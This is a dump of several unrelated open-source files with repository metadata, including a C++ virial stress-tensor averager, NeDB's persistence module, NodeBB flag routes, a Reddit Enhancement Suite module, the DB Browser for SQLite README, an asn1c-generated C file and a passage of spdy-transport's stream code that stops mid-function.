sxxAccumulator_.setNSamplePerBlock(nSamplePerBlock_);
sxyAccumulator_.setNSamplePerBlock(nSamplePerBlock_);
sxzAccumulator_.setNSamplePerBlock(nSamplePerBlock_);
syxAccumulator_.setNSamplePerBlock(nSamplePerBlock_);
syyAccumulator_.setNSamplePerBlock(nSamplePerBlock_);
syzAccumulator_.setNSamplePerBlock(nSamplePerBlock_);
szxAccumulator_.setNSamplePerBlock(nSamplePerBlock_);
szyAccumulator_.setNSamplePerBlock(nSamplePerBlock_);
szzAccumulator_.setNSamplePerBlock(nSamplePerBlock_);
simulation().fileMaster().openOutputFile(outputFileName(), outputFile_);
isInitialized_ = true;
}
/*
* Load internal state from an archive.
*/
void VirialStressTensorAverage::loadParameters(Serializable::IArchive &ar)
{
loadInterval(ar);
loadOutputFileName(ar);
loadParameter<int>(ar,"nSamplePerBlock", nSamplePerBlock_);
if (simulation().domain().isMaster()) {
#if 0
sxxAccumulator_.loadParameters(ar);
sxyAccumulator_.loadParameters(ar);
sxzAccumulator_.loadParameters(ar);
syxAccumulator_.loadParameters(ar);
syyAccumulator_.loadParameters(ar);
syzAccumulator_.loadParameters(ar);
szxAccumulator_.loadParameters(ar);
szyAccumulator_.loadParameters(ar);
szzAccumulator_.loadParameters(ar);
#endif
ar >> sxxAccumulator_;
ar >> sxyAccumulator_;
ar >> sxzAccumulator_;
ar >> syxAccumulator_;
ar >> syyAccumulator_;
ar >> syzAccumulator_;
ar >> szxAccumulator_;
ar >> szyAccumulator_;
ar >> szzAccumulator_;
simulation().fileMaster().openOutputFile(outputFileName(), outputFile_);
}
isInitialized_ = true;
}
/*
* Save internal state to an archive.
*/
void VirialStressTensorAverage::save(Serializable::OArchive &ar)
{
assert(simulation().domain().isMaster());
saveInterval(ar);
saveOutputFileName(ar);
ar << nSamplePerBlock_;
ar << sxxAccumulator_;
ar << sxyAccumulator_;
ar << sxzAccumulator_;
ar << syxAccumulator_;
ar << syyAccumulator_;
ar << syzAccumulator_;
ar << szxAccumulator_;
ar << szyAccumulator_;
ar << szzAccumulator_;
}
/*
* Read interval and outputFileName.
*/
void VirialStressTensorAverage::clear()
{
if (!isInitialized_) {
UTIL_THROW("Error: Object not initialized");
}
nSample_ = 0;
if (simulation().domain().isMaster()) {
sxxAccumulator_.clear();
sxyAccumulator_.clear();
sxzAccumulator_.clear();
syxAccumulator_.clear();
syyAccumulator_.clear();
syzAccumulator_.clear();
szxAccumulator_.clear();
szyAccumulator_.clear();
szzAccumulator_.clear();
}
}
/*
* Sample the stress tensor.
*/
void VirialStressTensorAverage::sample(long iStep)
{
if (isAtInterval(iStep)) {
Simulation& sys = simulation();
sys.computeVirialStress();
sys.computeKineticStress();
if (sys.domain().isMaster()) {
Tensor virial = sys.virialStress();
Tensor kinetic = sys.kineticStress();
Tensor total = total.add(virial, kinetic);
sxxAccumulator_.sample(virial(0,0));
sxyAccumulator_.sample(virial(0,1));
sxzAccumulator_.sample(virial(0,2));
syxAccumulator_.sample(virial(1,0));
syyAccumulator_.sample(virial(1,1));
syzAccumulator_.sample(virial(1,2));
szxAccumulator_.sample(virial(2,0));
szyAccumulator_.sample(virial(2,1));
szzAccumulator_.sample(virial(2,2));
}
++nSample_;
}
}
/*
* Dump StressTensor Measurment results.
*/
void VirialStressTensorAverage::output()
{
if (simulation().domain().isMaster()) {
outputFile_ <<
"Sxx=" << Dbl(sxxAccumulator_.average(), 17)<< " +- " << Dbl(sxxAccumulator_.error(), 9, 8) << "\n" <<
"Sxy=" << Dbl(sxyAccumulator_.average(), 17)<< " +- " << Dbl(sxyAccumulator_.error(), 9, 8) << "\n" <<
"Sxz=" << Dbl(sxzAccumulator_.average(), 17)<< " +- " << Dbl(sxzAccumulator_.error(), 9, 8) << "\n" <<
"Syx=" << Dbl(syxAccumulator_.average(), 17)<< " +- " << Dbl(syxAccumulator_.error(), 9, 8) << "\n" <<
"Syy=" << Dbl(syyAccumulator_.average(), 17)<< " +- " << Dbl(syyAccumulator_.error(), 9, 8) << "\n" <<
"Syz=" << Dbl(syzAccumulator_.average(), 17)<< " +- " << Dbl(syzAccumulator_.error(), 9, 8) << "\n" <<
"Szx=" << Dbl(szxAccumulator_.average(), 17)<< " +- " << Dbl(szxAccumulator_.error(), 9, 8) << "\n" <<
"Szy=" << Dbl(szyAccumulator_.average(), 17)<< " +- " << Dbl(szyAccumulator_.error(), 9, 8) << "\n" <<
"Szz=" << Dbl(szzAccumulator_.average(), 17)<< " +- " << Dbl(szzAccumulator_.error(), 9, 8) << "\n" <<
std::endl;
}
}
}
|
jmysona/testing2
|
src/ddMd/analyzers/stress/VirialStressTensorAverage.cpp
|
C++
|
gpl-3.0
| 6,379
|
/**
* Handle every persistence-related task
* The interface Datastore expects to be implemented is
* * Persistence.loadDatabase(callback) and callback has signature err
* * Persistence.persistNewState(newDocs, callback) where newDocs is an array of documents and callback has signature err
*/
var fs = require('fs')
, path = require('path')
, model = require('./model')
, async = require('async')
, mkdirp = require('mkdirp')
, customUtils = require('./customUtils')
;
/**
* Create a new Persistence object for database options.db
* @param {Datastore} options.db
* @param {Boolean} options.nodeWebkitAppName Optional, specify the name of your NW app if you want options.filename to be relative to the directory where
* Node Webkit stores application data such as cookies and local storage (the best place to store data in my opinion)
*/
function Persistence (options) {
this.db = options.db;
this.inMemoryOnly = this.db.inMemoryOnly;
this.filename = this.db.filename;
if (!this.inMemoryOnly && this.filename) {
if (this.filename.charAt(this.filename.length - 1) === '~') {
throw "The datafile name can't end with a ~, which is reserved for automatic backup files";
} else {
this.tempFilename = this.filename + '~';
this.oldFilename = this.filename + '~~';
}
}
// For NW apps, store data in the same directory where NW stores application data
if (this.filename && options.nodeWebkitAppName) {
this.filename = Persistence.getNWAppFilename(options.nodeWebkitAppName, this.filename);
}
};
/**
* Check if a directory exists and create it on the fly if it is not the case
* cb is optional, signature: err
*/
Persistence.ensureDirectoryExists = function (dir, cb) {
var callback = cb || function () {}
;
mkdirp(dir, function (err) { return callback(err); });
};
/**
* Return the path the datafile if the given filename is relative to the directory where Node Webkit stores
* data for this application. Probably the best place to store data
*/
Persistence.getNWAppFilename = function (appName, relativeFilename) {
var home;
switch (process.platform) {
case 'win32':
case 'win64':
home = process.env.LOCALAPPDATA || process.env.APPDATA;
if (!home) { throw "Couldn't find the base application data folder"; }
home = path.join(home, appName);
break;
case 'darwin':
home = process.env.HOME;
if (!home) { throw "Couldn't find the base application data directory"; }
home = path.join(home, 'Library', 'Application Support', appName);
break;
case 'linux':
home = process.env.HOME;
if (!home) { throw "Couldn't find the base application data directory"; }
home = path.join(home, '.config', appName);
break;
default:
throw "Can't use the Node Webkit relative path for platform " + process.platform;
break;
}
return path.join(home, 'nedb-data', relativeFilename);
}
/**
* Persist cached database
* This serves as a compaction function since the cache always contains only the number of documents in the collection
* while the data file is append-only so it may grow larger
* @param {Function} cb Optional callback, signature: err
*/
Persistence.prototype.persistCachedDatabase = function (cb) {
var callback = cb || function () {}
, toPersist = ''
, self = this
;
if (this.inMemoryOnly) { return callback(null); }
this.db.getAllData().forEach(function (doc) {
toPersist += model.serialize(doc) + '\n';
});
async.waterfall([
async.apply(customUtils.ensureFileDoesntExist, self.tempFilename)
, async.apply(customUtils.ensureFileDoesntExist, self.oldFilename)
, function (cb) {
fs.exists(self.filename, function (exists) {
if (exists) {
fs.rename(self.filename, self.oldFilename, function (err) { return cb(err); });
} else {
return cb();
}
});
}
, function (cb) {
fs.writeFile(self.tempFilename, toPersist, function (err) { return cb(err); });
}
, function (cb) {
fs.rename(self.tempFilename, self.filename, function (err) { return cb(err); });
}
, async.apply(customUtils.ensureFileDoesntExist, self.oldFilename)
], function (err) { if (err) { return callback(err); } else { return callback(null); } })
};
/**
* Queue a rewrite of the datafile
*/
Persistence.prototype.compactDatafile = function () {
this.db.executor.push({ this: this, fn: this.persistCachedDatabase, arguments: [] });
};
/**
* Set automatic compaction every interval ms
* @param {Number} interval in milliseconds, with an enforced minimum of 5 seconds
*/
Persistence.prototype.setAutocompactionInterval = function (interval) {
var self = this;
if (interval < 5000) { interval = 5000; }
this.stopAutocompaction();
this.autocompactionIntervalId = setInterval(function () {
self.compactDatafile();
}, interval);
};
/**
* Stop autocompaction (do nothing if autocompaction was not running)
*/
Persistence.prototype.stopAutocompaction = function () {
if (this.autocompactionIntervalId) { clearInterval(this.autocompactionIntervalId); }
};
/**
* Persist new state for the given newDocs (can be insertion, update or removal)
* Use an append-only format
* @param {Array} newDocs Can be empty if no doc was updated/removed
* @param {Function} cb Optional, signature: err
*/
Persistence.prototype.persistNewState = function (newDocs, cb) {
var self = this
, toPersist = ''
, callback = cb || function () {}
;
// In-memory only datastore
if (self.inMemoryOnly) { return callback(null); }
newDocs.forEach(function (doc) {
toPersist += model.serialize(doc) + '\n';
});
if (toPersist.length === 0) { return callback(null); }
fs.appendFile(self.filename, toPersist, 'utf8', function (err) {
return callback(err);
});
};
/**
* From a database's raw data, return the corresponding
* machine understandable collection
*/
Persistence.treatRawData = function (rawData) {
var data = rawData.split('\n')
, dataById = {}
, res = []
, i;
for (i = 0; i < data.length; i += 1) {
var doc;
try {
doc = model.deserialize(data[i]);
if (doc._id) {
if (doc.$$deleted === true) {
delete dataById[doc._id];
} else {
dataById[doc._id] = doc;
}
}
} catch (e) {
}
}
Object.keys(dataById).forEach(function (k) {
res.push(dataById[k]);
});
return res;
};
/**
* Ensure that this.filename contains the most up-to-date version of the data
* Even if a loadDatabase crashed before
*/
Persistence.prototype.ensureDatafileIntegrity = function (callback) {
var self = this ;
fs.exists(self.filename, function (filenameExists) {
// Write was successful
if (filenameExists) { return callback(null); }
fs.exists(self.oldFilename, function (oldFilenameExists) {
// New database
if (!oldFilenameExists) {
return fs.writeFile(self.filename, '', 'utf8', function (err) { callback(err); });
}
// Write failed, use old version
fs.rename(self.oldFilename, self.filename, function (err) { return callback(err); });
});
});
};
/**
* Load the database
* This means pulling data out of the data file or creating it if it doesn't exist
* Also, all data is persisted right away, which has the effect of compacting the database file
* This operation is very quick at startup for a big collection (60ms for ~10k docs)
* @param {Function} cb Optional callback, signature: err
*/
Persistence.prototype.loadDatabase = function (cb) {
var callback = cb || function () {}
, self = this
;
self.db.resetIndexes();
// In-memory only datastore
if (self.inMemoryOnly) { return callback(null); }
async.waterfall([
function (cb) {
Persistence.ensureDirectoryExists(path.dirname(self.filename), function (err) {
self.ensureDatafileIntegrity(function (exists) {
fs.readFile(self.filename, 'utf8', function (err, rawData) {
if (err) { return cb(err); }
var treatedData = Persistence.treatRawData(rawData);
try {
self.db.resetIndexes(treatedData);
} catch (e) {
self.db.resetIndexes(); // Rollback any index which didn't fail
return cb(e);
}
self.db.persistence.persistCachedDatabase(cb);
});
});
});
}
], function (err) {
if (err) { return callback(err); }
self.db.executor.processBuffer();
return callback(null);
});
};
// Interface
module.exports = Persistence;
|
Adastra-thw/angularTortazo
|
node_modules/nedb/lib/persistence.js
|
JavaScript
|
gpl-3.0
| 9,033
|
'use strict';
const router = require('express').Router();
const middleware = require('../../middleware');
const controllers = require('../../controllers');
const routeHelpers = require('../helpers');
const { setupApiRoute } = routeHelpers;
module.exports = function () {
const middlewares = [middleware.ensureLoggedIn];
setupApiRoute(router, 'post', '/', [...middlewares], controllers.write.flags.create);
setupApiRoute(router, 'get', '/:flagId', [...middlewares, middleware.assert.flag], controllers.write.flags.get);
setupApiRoute(router, 'put', '/:flagId', [...middlewares, middleware.assert.flag], controllers.write.flags.update);
setupApiRoute(router, 'post', '/:flagId/notes', [...middlewares, middleware.assert.flag], controllers.write.flags.appendNote);
setupApiRoute(router, 'delete', '/:flagId/notes/:datetime', [...middlewares, middleware.assert.flag], controllers.write.flags.deleteNote);
return router;
};
|
NodeBB/NodeBB
|
src/routes/write/flags.js
|
JavaScript
|
gpl-3.0
| 933
|
/* @flow */
import { Module } from '../core/module';
import { Thing, SelectedThing, frameDebounce, mutex, watchForDescendants, waitForDetach } from '../utils';
export const module: Module<*> = new Module('neverEndingComments');
module.moduleName = 'necName';
module.category = 'commentsCategory';
module.description = 'necDescription';
module.options = {
loadChildComments: {
type: 'boolean',
value: false,
description: 'necLoadChildCommentsDesc',
title: 'necLoadChildCommentsTitle',
},
};
module.include = [
'comments',
];
module.afterLoad = () => {
const context = document.body.querySelector(module.options.loadChildComments.value ? '.nestedlisting' : '.nestedlisting > .thing.morechildren');
if (!context) return;
const visibleLoaders = new Set();
const io = new IntersectionObserver(entries => {
for (const { isIntersecting, target } of entries) {
if (!context.contains(target)) io.unobserve(target);
if (isIntersecting) visibleLoaders.add(target);
else visibleLoaders.delete(target);
}
if (visibleLoaders.size) {
window.addEventListener('scroll', loadFirst);
loadFirst();
} else {
window.removeEventListener('scroll', loadFirst);
}
// Don't load the top comments, as they may are likely above the current focused comment and may mess up scroll anchoring
// also load comments that are a little beneath the viewport so this works a bit more seamlessly
}, { rootMargin: '-10% 0px 10% 0px' });
// Wait a little before starting load, in case the user is just quickly scrolling through
const loadFirst = frameDebounce(mutex(async () => {
// Load one at a time to reduce the latency
// The uppermost is loaded first, as that is likely the one the user is interested having expanded
const loader = Array.from(visibleLoaders.values()).sort((a, b) => 3 - (a.compareDocumentPosition(b) & 6))
.find(e => {
// Don't load any above the selected thing
const thing = Thing.from(e);
return !SelectedThing.current || !thing || (SelectedThing.current.getDirectionOf(thing) === 'down');
});
if (loader) {
loader.click();
await waitForDetach(
loader,
// The load may fail
new Promise(res => { setTimeout(res, 3000); }),
);
loadFirst();
}
}), 5);
watchForDescendants(context, '.morecomments a', ele => { io.observe(ele); });
};
|
BenMcGarry/Reddit-Enhancement-Suite
|
lib/modules/neverEndingComments.js
|
JavaScript
|
gpl-3.0
| 2,327
|
package com.pahimar.ee3.client.util;
import com.pahimar.ee3.util.ResourceLocationHelper;
import cpw.mods.fml.client.FMLClientHandler;
import net.minecraft.client.audio.PositionedSoundRecord;
public class ClientSoundHelper
{
public static void playSound(String soundName, float xCoord, float yCoord, float zCoord, float volume, float pitch)
{
FMLClientHandler.instance().getClient().getSoundHandler().playSound(new PositionedSoundRecord(ResourceLocationHelper.getResourceLocation(soundName), volume, pitch, xCoord, yCoord, zCoord));
}
}
|
aanthony3/Equivalent-Exchange-3
|
src/main/java/com/pahimar/ee3/client/util/ClientSoundHelper.java
|
Java
|
gpl-3.0
| 558
|
# DB Browser for SQLite
[](https://travis-ci.org/sqlitebrowser/sqlitebrowser)

## What it is
DB Browser for SQLite is a high quality, visual, open source tool to
create, design, and edit database files compatible with SQLite.
It is for users and developers wanting to create databases, search, and edit
data. It uses a familiar spreadsheet-like interface, and you don't need to
learn complicated SQL commands.
Controls and wizards are available for users to:
* Create and compact database files
* Create, define, modify and delete tables
* Create, define and delete indexes
* Browse, edit, add and delete records
* Search records
* Import and export records as text
* Import and export tables from/to CSV files
* Import and export databases from/to SQL dump files
* Issue SQL queries and inspect the results
* Examine a log of all SQL commands issued by the application
## What it is not
This program is not a visual shell for the sqlite command line tool. It does
not require familiarity with SQL commands. It is a tool to be used both by
developers and by end users, and it must remain as simple to use as possible
in order to achieve its goals.
## Windows
Windows binaries can be downloaded from here:
* https://github.com/sqlitebrowser/sqlitebrowser/releases
Nightly builds (uncompress them with [7-Zip](http://www.7-zip.org)) are
available at:
* http://rp.oldsch00l.com/sqlitebrowser/
**Note** - If for some reason the standard Windows release doesn't work for
you (eg it gives an error), try the nightly build. It's made using a
different process, and is often a good fallback. :D
## MacOS X
DB Browser for SQLite works well on MacOS X.
* OSX 10.7 (Lion) - 10.11 (El Capitan) are tested and known to work
OSX binaries can be downloaded from here:
* https://github.com/sqlitebrowser/sqlitebrowser/releases
Latest OSX binary can be installed via [Homebrew](http://brew.sh/ "Homebrew"):
```
brew cask install sqlitebrowser
```
Nightly builds for OSX are available at:
* http://nightlies.sqlitebrowser.org/osx/
## Linux
DB Browser for SQLite works well on Linux.
### Arch Linux
Arch Linux provides a package through pacman.
### Fedora
For Fedora version 21, 22, 23 and rawhide (i386 and x86_64) you can install
by issuing:
$ sudo dnf install sqlitebrowser
### Ubuntu and Derivatives
#### Stable release
For Ubuntu and derivaties, [@deepsidhu1313](https://github.com/deepsidhu1313)
provides a PPA with our latest release here:
* https://launchpad.net/~linuxgndu/+archive/ubuntu/sqlitebrowser
To add this ppa just type in these commands in terminal:
sudo add-apt-repository -y ppa:linuxgndu/sqlitebrowser
Then update the cache using:
sudo apt-get update
Install the package using:
sudo apt-get install sqlitebrowser
Ubuntu 14.04.X, 15.04.X, 15.10.X and 16.04.X are supported for now (until
Launchpad decides to discontinue build for any series).
Ubuntu Precise (12.04) and Utopic (14.10) are not supported:
* Precise doesn't have a Qt 5.2 package in its repository by default, which is
a dependency
* Launchpad doesn't support Utopic any more, as that has reached its End of
Life
#### Nightly builds
Nightly builds are available here:
* https://launchpad.net/~linuxgndu/+archive/ubuntu/sqlitebrowser-testing
To add this ppa just type in these commands in terminal:
sudo add-apt-repository -y ppa:linuxgndu/sqlitebrowser-testing
Then update the cache using:
sudo apt-get update
Install the package using:
sudo apt-get install sqlitebrowser
### Other Linux
On others you'll need to compile it yourself using the (simple) instructions
in [BUILDING.md](BUILDING.md).
## FreeBSD
DB Browser for SQLite works well on FreeBSD, and there is a port for it (thanks
to [lbartoletti](https://github.com/lbartoletti) :smile:). It can be installed
using either this:
# make -C /usr/ports/databases/sqlitebrowser install
or this:
# pkg install sqlitebrowser
### Compiling
Instructions for compiling on (at least) Windows, OSX, Linux, and FreeBSD are
in [BUILDING](BUILDING.md).
## Twitter
Follow us on Twitter: https://twitter.com/sqlitebrowser
## Website
* http://sqlitebrowser.org
## Old project page
* https://sourceforge.net/projects/sqlitebrowser
## Releases
* [Version 3.8.0 released](https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/v3.8.0) - 2015-12-25
* [Version 3.7.0 released](https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/v3.7.0) - 2015-06-14
* [Version 3.6.0 released](https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/v3.6.0) - 2015-04-27
* [Version 3.5.1 released](https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/v3.5.1) - 2015-02-08
* [Version 3.5.0 released](https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/v3.5.0) - 2015-01-31
* [Version 3.4.0 released](https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/v3.4.0) - 2014-10-29
* [Version 3.3.1 released](https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/v3.3.1) - 2014-08-31 - Project renamed from "SQLite Database Browser"
* [Version 3.3.0 released](https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/v3.3.0) - 2014-08-24
* [Version 3.2.0 released](https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/sqlb-3.2.0) - 2014-07-06
* [Version 3.1.0 released](https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/sqlb-3.1.0) - 2014-05-17
* [Version 3.0.3 released](https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/sqlb-3.0.3) - 2014-04-28
* [Version 3.0.2 released](https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/sqlb-3.0.2) - 2014-02-12
* [Version 3.0.1 released](https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/sqlb-3.0.1) - 2013-12-02
* [Version 3.0 released](https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/sqlb-3.0) - 2013-09-15
* [Version 3.0rc1 released](https://github.com/sqlitebrowser/sqlitebrowser/releases/tag/rc1) - 2013-09-09 - Project now on GitHub
* Version 2.0b1 released - 2009-12-10 - Based on Qt4.6
* Version 1.2 released - 2005-04-05
* Version 1.1 released - 2004-07-20
* Version 1.01 released - 2003-10-02
* Version 1.0 released to public domain - 2003-08-19
## History
This program was developed originally by Mauricio Piacentini
([@piacentini](https://github.com/piacentini)) from Tabuleiro Producoes, as
the Arca Database Browser. The original version was used as a free companion
tool to the Arca Database Xtra, a commercial product that embeds SQLite
databases with some additional extensions to handle compressed and binary data.
The original code was trimmed and adjusted to be compatible with standard
SQLite 2.x databases. The resulting program was renamed SQLite Database
Browser, and released into the Public Domain by Mauricio. Icons were
contributed by [Raquel Ravanini](http://www.raquelravanini.com), also from
Tabuleiro. Jens Miltner ([@jmiltner](https://github.com/jmiltner)) contributed
the code to support SQLite 3.x databases for the 1.2 release.
Pete Morgan ([@daffodil](https://github.com/daffodil)) created an initial
project on GitHub with the code in 2012, where several contributors fixed and
improved pieces over the years. René Peinthor ([@rp-](https://github.com/rp-))
and Martin Kleusberg ([@MKleusberg](https://github.com/MKleusberg)) then
became involved, and have been the main driving force from that point. Justin
Clift ([@justinclift](https://github.com/justinclift)) helps out with testing
on OSX, and started the new github.com/sqlitebrowser organisation on GitHub.
[John T. Haller](http://johnhaller.com), of
[PortableApps.com](http://portableapps.com) fame, created the new logo. He
based it on the Tango icon set (public domain).
In August 2014, the project was renamed to "Database Browser for SQLite" at
the request of [Richard Hipp](http://www.hwaci.com/drh) (creator of
[SQLite](http://sqlite.org)), as the previous name was creating unintended
support issues.
In September 2014, the project was renamed to "DB Browser for SQLite", to
avoid confusion with an existing application called "Database Browser".
## License
DB Browser for SQLite is bi-licensed under the Mozilla Public License
Version 2, as well as the GNU General Public License Version 3 or later.
You can modify or redistribute it under the conditions of these licenses.
|
araname/sqlitebrowser
|
README.md
|
Markdown
|
gpl-3.0
| 8,560
|
/*
* Generated by asn1c-0.9.24 (http://lionet.info/asn1c)
* From ASN.1 module "InformationElements"
* found in "../asn/InformationElements.asn"
* `asn1c -fcompound-names -fnative-types`
*/
#include "TimeInterval.h"
int
TimeInterval_constraint(asn_TYPE_descriptor_t *td, const void *sptr,
asn_app_constraint_failed_f *ctfailcb, void *app_key) {
long value;
if(!sptr) {
_ASN_CTFAIL(app_key, td, sptr,
"%s: value not given (%s:%d)",
td->name, __FILE__, __LINE__);
return -1;
}
value = *(const long *)sptr;
if((value >= 1 && value <= 13)) {
/* Constraint check succeeded */
return 0;
} else {
_ASN_CTFAIL(app_key, td, sptr,
"%s: constraint failed (%s:%d)",
td->name, __FILE__, __LINE__);
return -1;
}
}
/*
* This type is implemented using NativeInteger,
* so here we adjust the DEF accordingly.
*/
static void
TimeInterval_1_inherit_TYPE_descriptor(asn_TYPE_descriptor_t *td) {
td->free_struct = asn_DEF_NativeInteger.free_struct;
td->print_struct = asn_DEF_NativeInteger.print_struct;
td->ber_decoder = asn_DEF_NativeInteger.ber_decoder;
td->der_encoder = asn_DEF_NativeInteger.der_encoder;
td->xer_decoder = asn_DEF_NativeInteger.xer_decoder;
td->xer_encoder = asn_DEF_NativeInteger.xer_encoder;
td->uper_decoder = asn_DEF_NativeInteger.uper_decoder;
td->uper_encoder = asn_DEF_NativeInteger.uper_encoder;
if(!td->per_constraints)
td->per_constraints = asn_DEF_NativeInteger.per_constraints;
td->elements = asn_DEF_NativeInteger.elements;
td->elements_count = asn_DEF_NativeInteger.elements_count;
td->specifics = asn_DEF_NativeInteger.specifics;
}
void
TimeInterval_free(asn_TYPE_descriptor_t *td,
void *struct_ptr, int contents_only) {
TimeInterval_1_inherit_TYPE_descriptor(td);
td->free_struct(td, struct_ptr, contents_only);
}
int
TimeInterval_print(asn_TYPE_descriptor_t *td, const void *struct_ptr,
int ilevel, asn_app_consume_bytes_f *cb, void *app_key) {
TimeInterval_1_inherit_TYPE_descriptor(td);
return td->print_struct(td, struct_ptr, ilevel, cb, app_key);
}
asn_dec_rval_t
TimeInterval_decode_ber(asn_codec_ctx_t *opt_codec_ctx, asn_TYPE_descriptor_t *td,
void **structure, const void *bufptr, size_t size, int tag_mode) {
TimeInterval_1_inherit_TYPE_descriptor(td);
return td->ber_decoder(opt_codec_ctx, td, structure, bufptr, size, tag_mode);
}
asn_enc_rval_t
TimeInterval_encode_der(asn_TYPE_descriptor_t *td,
void *structure, int tag_mode, ber_tlv_tag_t tag,
asn_app_consume_bytes_f *cb, void *app_key) {
TimeInterval_1_inherit_TYPE_descriptor(td);
return td->der_encoder(td, structure, tag_mode, tag, cb, app_key);
}
asn_dec_rval_t
TimeInterval_decode_xer(asn_codec_ctx_t *opt_codec_ctx, asn_TYPE_descriptor_t *td,
void **structure, const char *opt_mname, const void *bufptr, size_t size) {
TimeInterval_1_inherit_TYPE_descriptor(td);
return td->xer_decoder(opt_codec_ctx, td, structure, opt_mname, bufptr, size);
}
asn_enc_rval_t
TimeInterval_encode_xer(asn_TYPE_descriptor_t *td, void *structure,
int ilevel, enum xer_encoder_flags_e flags,
asn_app_consume_bytes_f *cb, void *app_key) {
TimeInterval_1_inherit_TYPE_descriptor(td);
return td->xer_encoder(td, structure, ilevel, flags, cb, app_key);
}
asn_dec_rval_t
TimeInterval_decode_uper(asn_codec_ctx_t *opt_codec_ctx, asn_TYPE_descriptor_t *td,
asn_per_constraints_t *constraints, void **structure, asn_per_data_t *per_data) {
TimeInterval_1_inherit_TYPE_descriptor(td);
return td->uper_decoder(opt_codec_ctx, td, constraints, structure, per_data);
}
asn_enc_rval_t
TimeInterval_encode_uper(asn_TYPE_descriptor_t *td,
asn_per_constraints_t *constraints,
void *structure, asn_per_outp_t *per_out) {
TimeInterval_1_inherit_TYPE_descriptor(td);
return td->uper_encoder(td, constraints, structure, per_out);
}
static asn_per_constraints_t asn_PER_type_TimeInterval_constr_1 = {
{ APC_CONSTRAINED, 4, 4, 1, 13 } /* (1..13) */,
{ APC_UNCONSTRAINED, -1, -1, 0, 0 },
0, 0 /* No PER value map */
};
static ber_tlv_tag_t asn_DEF_TimeInterval_tags_1[] = {
(ASN_TAG_CLASS_UNIVERSAL | (2 << 2))
};
asn_TYPE_descriptor_t asn_DEF_TimeInterval = {
"TimeInterval",
"TimeInterval",
TimeInterval_free,
TimeInterval_print,
TimeInterval_constraint,
TimeInterval_decode_ber,
TimeInterval_encode_der,
TimeInterval_decode_xer,
TimeInterval_encode_xer,
TimeInterval_decode_uper,
TimeInterval_encode_uper,
0, /* Use generic outmost tag fetcher */
asn_DEF_TimeInterval_tags_1,
sizeof(asn_DEF_TimeInterval_tags_1)
/sizeof(asn_DEF_TimeInterval_tags_1[0]), /* 1 */
asn_DEF_TimeInterval_tags_1, /* Same as above */
sizeof(asn_DEF_TimeInterval_tags_1)
/sizeof(asn_DEF_TimeInterval_tags_1[0]), /* 1 */
&asn_PER_type_TimeInterval_constr_1,
0, 0, /* No members */
0 /* No specifics */
};
|
BramBonne/snoopsnitch-pcapinterface
|
contrib/libosmo-asn1-rrc/src/TimeInterval.c
|
C
|
gpl-3.0
| 4,806
|
'use strict'
var transport = require('../spdy-transport')
var assert = require('assert')
var util = require('util')
var debug = {
client: require('debug')('spdy:stream:client'),
server: require('debug')('spdy:stream:server')
}
var Buffer = require('safe-buffer').Buffer
var Duplex = require('readable-stream').Duplex
// Node.js 0.8, 0.10 and 0.12 support
Object.assign = process.versions.modules >= 46
? Object.assign // eslint-disable-next-line
: util._extend
function Stream (connection, options) {
Duplex.call(this)
var connectionState = connection._spdyState
var state = {}
this._spdyState = state
this.id = options.id
this.method = options.method
this.path = options.path
this.host = options.host
this.headers = options.headers || {}
this.connection = connection
this.parent = options.parent || null
state.socket = null
state.protocol = connectionState.protocol
state.constants = state.protocol.constants
// See _initPriority()
state.priority = null
state.version = this.connection.getVersion()
state.isServer = this.connection.isServer()
state.debug = state.isServer ? debug.server : debug.client
state.framer = connectionState.framer
state.parser = connectionState.parser
state.request = options.request
state.needResponse = options.request
state.window = connectionState.streamWindow.clone(options.id)
state.sessionWindow = connectionState.window
state.maxChunk = connectionState.maxChunk
// Can't send incoming request
// (See `.send()` method)
state.sent = !state.request
state.readable = options.readable !== false
state.writable = options.writable !== false
state.aborted = false
state.corked = 0
state.corkQueue = []
state.timeout = new transport.utils.Timeout(this)
this.on('finish', this._onFinish)
this.on('end', this._onEnd)
var self = this
function _onWindowOverflow () {
self._onWindowOverflow()
}
state.window.recv.on('overflow', _onWindowOverflow)
state.window.send.on('overflow', _onWindowOverflow)
this._initPriority(options.priority)
if (!state.readable) { this.push(null) }
if (!state.writable) {
this._writableState.ended = true
this._writableState.finished = true
}
}
util.inherits(Stream, Duplex)
exports.Stream = Stream
Stream.prototype._init = function _init (socket) {
this.socket = socket
}
Stream.prototype._initPriority = function _initPriority (priority) {
var state = this._spdyState
var connectionState = this.connection._spdyState
var root = connectionState.priorityRoot
if (!priority) {
state.priority = root.addDefault(this.id)
return
}
state.priority = root.add({
id: this.id,
parent: priority.parent,
weight: priority.weight,
exclusive: priority.exclusive
})
}
Stream.prototype._handleFrame = function _handleFrame (frame) {
var state = this._spdyState
// Ignore any kind of data after abort
if (state.aborted) {
state.debug('id=%d ignoring frame=%s after abort', this.id, frame.type)
return
}
// Restart the timer on incoming frames
state.timeout.reset()
if (frame.type === 'DATA') {
this._handleData(frame)
} else if (frame.type === 'HEADERS') {
this._handleHeaders(frame)
} else if (frame.type === 'RST') {
this._handleRST(frame)
} else if (frame.type === 'WINDOW_UPDATE') { this._handleWindowUpdate(frame) } else if (frame.type === 'PRIORITY') {
this._handlePriority(frame)
} else if (frame.type === 'PUSH_PROMISE') { this._handlePushPromise(frame) }
if (frame.fin) {
state.debug('id=%d end', this.id)
this.push(null)
}
}
function checkAborted (stream, state, callback) {
if (state.aborted) {
state.debug('id=%d abort write', stream.id)
process.nextTick(function () {
callback(new Error('Stream write aborted'))
})
return true
}
return false
}
function _send (stream, state, data, callback) {
if (checkAborted(stream, state, callback)) {
return
}
state.debug('id=%d presend=%d', stream.id, data.length)
state.timeout.reset()
state.window.send.update(-data.length, function () {
if (checkAborted(stream, state, callback)) {
return
}
state.debug('id=%d send=%d', stream.id, data.length)
state.timeout.reset()
state.framer.dataFrame({
id: stream.id,
priority: state.priority.getPriority(),
